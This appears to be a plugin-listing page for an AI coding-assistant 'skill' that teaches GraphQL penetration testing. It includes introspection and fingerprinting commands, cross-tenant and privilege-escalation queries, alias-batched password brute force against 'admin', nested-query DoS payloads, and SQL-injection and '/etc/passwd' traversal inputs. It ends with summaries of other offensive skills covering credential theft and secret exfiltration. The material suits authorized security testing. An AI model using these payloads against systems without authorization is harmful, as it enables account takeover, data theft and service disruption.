/secskills-offense:attacking-graphqlfrom secskills-offense
Tests GraphQL APIs for security weaknesses: introspection/schema recovery, field suggestion abuse, rate limit bypass, depth/complexity DoS, authorization gaps, and mutation abuse. Use when a target exposes a GraphQL endpoint.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
GraphQL moves authorization from routes to resolvers, and most teams do not
move their access control with it. The REST habit of protecting /admin/* has
no equivalent when every operation arrives at one endpoint — so the recurring
finding is not an exotic GraphQL bug, it is an ordinary authorization failure
on a field nobody thought to guard.
/graphql, /graphiql, /v1/graphql, /api/graphqlquery, mutation, subscription, or operationName{"data": ..., "errors": [...]} envelopetesting-apis or attacking-grpc-protobufauditing-code-for-vulnerabilities; read the
resolvers, which is faster and more completetesting-web-applications# Standard introspection
curl -s https://target/graphql -H 'Content-Type: application/json' \
-d '{"query":"query{__schema{types{name fields{name args{name type{name}}}}}}"}' | jq .
# Tooling that renders it usefully
graphql-cop -t https://target/graphql
clairvoyance https://target/graphql -o schema.json # works WITHOUT introspection
graphw00f -t https://target/graphql # fingerprint the engine
When introspection is disabled, the schema is usually still recoverable.
Most engines return "did you mean" suggestions on a misspelled field, which
leaks valid names one character class at a time. clairvoyance automates
exactly this.
# Field suggestion leak — the response names fields you did not know
curl -s https://target/graphql -d '{"query":"{ userr { id } }"}' -H 'Content-Type: application/json'
# → "Cannot query field \"userr\" on type \"Query\". Did you mean \"user\"?"
Other schema sources: the client bundle (queries are usually inlined in the JS),
a .graphql file served by mistake, persisted-query manifests, and Apollo
Studio or similar tooling left public.
Fingerprint the engine — behaviour differs materially. Apollo, graphql-js,
Hasura, graphene, gqlgen, and HotChocolate each have distinct defaults for
batching, suggestions, depth limits, and error verbosity. graphw00f names it.
Test authorization per field and per resolver, not per endpoint. A schema
where user(id:) is guarded but user { organization { members { email } } }
is not is the standard finding.
# 1. Object-level: request another tenant's or user's object by ID
query { user(id: "other-user-id") { id email phone } }
# 2. Field-level: the object is yours, but a field should not be exposed
query { me { id email passwordHash internalNotes stripeCustomerId } }
# 3. Traversal: reach a protected object through an unguarded edge
query { post(id: 1) { author { email resetToken orders { total } } } }
# 4. Mutations: the usual suspects, called directly
mutation { updateUser(id: "other", input: {role: ADMIN}) { id role } }
mutation { deleteAccount(id: "other") { success } }
Traversal through relationships is the highest-yield test. Developers guard the entry points they think about; nested edges inherit whatever the parent resolver allowed, and often that is nothing. Enumerate the schema's edges and walk from any object you legitimately own toward objects you do not.
Repeat every test at each privilege level you have: anonymous, low-privilege user, and a second tenant's user.
One HTTP request can carry many operations, which defeats per-request rate limiting — the classic 2FA and password brute-force bypass.
# Aliases: N attempts, one request
{
a1: login(user:"admin", pass:"1234") { token }
a2: login(user:"admin", pass:"1235") { token }
a3: login(user:"admin", pass:"1236") { token }
}
[ {"query":"{ user(id:1){email} }"},
{"query":"{ user(id:2){email} }"},
{"query":"{ user(id:3){email} }"} ]
Array batching is supported by default in several engines. Test both forms; they are often limited differently, and rate limiting applied at the HTTP layer sees one request either way.
# Depth: cyclic relationships nested repeatedly
{ user { posts { author { posts { author { posts { id } } } } } } }
# Breadth: aliases multiply one expensive resolver
{ a: search(q:"x"){id} b: search(q:"x"){id} c: search(q:"x"){id} ... }
# Field duplication amplifies without depth
{ user { id id id id id id ... } }
Check for: a depth limit, a complexity/cost limit, a timeout, a node limit on pagination, and whether the engine batches N+1 resolver calls or issues one query per node. Prove the risk with a small, bounded query — measure the response-time gradient across depths rather than actually exhausting the service. A single 8-level query that takes 30 seconds when a 3-level one takes 30 milliseconds is the evidence; you do not need to take the API down.
Resolvers reach databases the same as any other handler, so the classic classes apply — with the twist that arguments are strongly typed, which people mistake for validation.
{ user(filter: "1' OR '1'='1") { id } } # SQL/NoSQL injection
{ users(where: {email: {_ilike: "%"}}) { email } } # Hasura-style filter abuse
{ file(path: "../../etc/passwd") { contents } } # traversal
Hasura and similar auto-generated APIs deserve specific attention: they expose
rich where filters directly to the client, so a permissive row-level-security
configuration means the filter language itself becomes the vulnerability.
GET or form-encoded queries. If the endpoint accepts
?query=mutation{...} or application/x-www-form-urlencoded, mutations are
reachable cross-origin without a preflight.String still reaches the database.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
testing-web-applications, testing-apis, enumerating-network-services, attacking-grpc-protobuf, exploiting-deserialization, exploiting-ssrf, exploiting-xxeDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
testing-apis — the general API methodology this specializesauditing-code-for-vulnerabilities — resolver-level review when source existstesting-web-applications — the app around the endpointreporting-security-findings — severity for authorization findingsWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub trilwu/secskills --plugin secskills-offense40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations./attacking-bluetooth-nfcAttack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability./attacking-eks-gke-aksAssess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces./attacking-entra-idAttack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job